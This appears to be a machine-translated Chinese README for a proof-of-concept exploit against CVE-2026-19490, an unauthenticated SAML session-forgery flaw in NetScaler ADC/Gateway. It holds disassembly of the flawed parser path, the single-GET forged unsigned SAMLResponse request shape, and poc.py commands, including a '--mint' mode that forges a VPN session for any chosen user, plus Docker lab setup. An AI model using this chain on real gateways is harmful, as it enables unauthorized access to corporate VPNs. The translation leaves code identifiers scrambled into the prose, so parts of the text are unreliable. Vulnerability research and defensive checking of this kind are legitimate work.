CVE-2026-19490 — NetScaler ADC/Gateway SAML 认证绕过
Citrix NetScaler ADC / NetScaler Gateway 上的未认证会话伪造,通过 SAML HTTP-Redirect 绑定处理程序。CVSS 4.0 9.3,CWE-288。 公告CTX696939(2026-08-19),没有任何变通方法。原始报告的署名如下 对萨马斯·瓦希什特(摩根大通渗透测试团队);根本原因分析和 这个仓库里的代码都是我自己做的。GET /cgi/samlauth
受影响:14.1-73.32之前14.1,13.1-63.21。这两个版本都固定了。
根本原因
在分组引擎中,会出现两个问题。nsppe
1. 重定向绑定解析严格标志已清除的断言。
SAML响应解析器的所有调用点()都设置了一个“严格”参数 在接到电话之前。POST 绑定路径(浏览器实际用于 SAML 响应的路径) 传球,设定好。HTTP-重定向绑定路径不满足:sub_b40a50
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- the parser这就是CWE-288意义上的备选路径。请求表面相同,解析器更弱 调用,任何能发送带有查询参数的GET的人都能访问。SAMLResponse
2. 无符号断言门将默认配置视为允许。
在重定向处理程序内,当请求没有 /,则 配置词的比较和分支方式如下:SigAlgSignaturerejectUnsignedAssertion
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- jumps to the ACCEPT path字值为:=(默认值),= 。 发送接受。只达到否认对数行:2rejectUnsignedAssertion ON3STRICTje2STRICT
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s所以在默认配置框中,交付给重定向绑定的无符号断言是 解析(严格关闭),通过未签名门接受(ON 误读为允许),然后 执行常规的解析后步骤:对发行者/受众/主题进行SAML的检查 先操作配置,然后从攻击者提供的字段构建会话。没有消化,没有 RSA核实,路线上的任何地方都可以。POST 装订则不会受到同样的影响—— 严格传递给解析器,正确拒绝无符号输入。
根据公告,预设条件与二进制相符:14.1-43.56 版本 / 13.1-61.28 起需要绑定到 Gateway 或 AAA 虚拟服务器的 SAML 动作(通常) SAML SSO 设置,所以大多数 SAML 部署都符合条件)。早期建筑记录了路线 仅靠虚拟服务器。
利用形状
一次GET。构建一个没有任何地方的SAML响应,DEFLATE + base64 它,并发送:<ds:Signature>
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>必须匹配目标SAML动作配置的值:断言 Issuer = the IdP 实体 ID,Audience = SP 实体 ID,Recipient/Destination = ACS URL,以及 在事务设置中,从实时AuthnRequest中获得InResponseTo。 行走 网关自身的预授权登录重定向以捕获这些(SAMLRequest 在 位置头包含所有这些信息)。302 加上一个真实的 / cookie(不是删除标记)就是伪造会话,随便说什么 你输入的姓名ID。--mint/vpn/NSC_AAACNSC_TASSxyz
用途
pip install requests
# is the endpoint there and does GET binding process SAMLResponse at all
python3 poc.py https://vpn.target.com --check-only
# non-intrusive config probe: unsigned assertion with a deliberately WRONG issuer.
# 'Malformed Assertion' (0xe0005) -> STRICT, not vulnerable to this vector
# issuer/policy error (0xe0012) -> default config, vulnerable; no session minted
python3 poc.py https://vpn.target.com --safe-oracle
# full chain (authorized targets only): mint the SP chain, forge, validate once
python3 poc.py https://vpn.target.com --mint --name-id someone@target.example--safe-oracle存在是因为这两个配置之前返回的错误页面不同 任何阶段形状的动作都会发生,这也是防守者可以自行检查的方式 触摸真正的IDP患者。和你自己的装备对比。
演示
demo/demo.gif(还有,如果你想玩玩的话):受影响的构建,基于 docker 镜像,Word-2 默认配置, 从被运送的两个二进制分支和PoC端点中拆解出来 有。最后一公里的会话发布需要授权的VPX——CPX Express拒绝 AAA会话在许可层——这才是捕捉时间的 你有一个。demo.mp4demo/demo.castasciinema playnsppelab/record-demo.sh
实验室
lab/setup-cpx.sh在 Docker 里会显示出完全受影响的版本:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh并配置一个包含 、 策略和 的 SAML 动作 Gateway vserver。有两个是我吃了苦头才知道的:rejectUnsignedAssertion ON
CPX Express 不携带 SSLVPN/AAA 用户许可证。vserver 服务,但每个请求都会落在 。够好了 要重现 config + endpoint + 二进制状态,而不是最终会话 cookie。
/cgi/samlauth480 Login exceeds maximum allowed users完整的会话发布运行时,你需要一个带有免费开发者版的VPX 许可证(我的 Citrix → 下载 NetScaler VPX,然后→CTX587663 许可证 flow)。和设置脚本里的CLI一样,然后记录整个过程 Asciinema 序列:版本、配置、Safe-Oracle、伪造会话、严格否定 控制。
lab/record-demo.sh
上面的shipped-binary offset直接取自那张图片:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30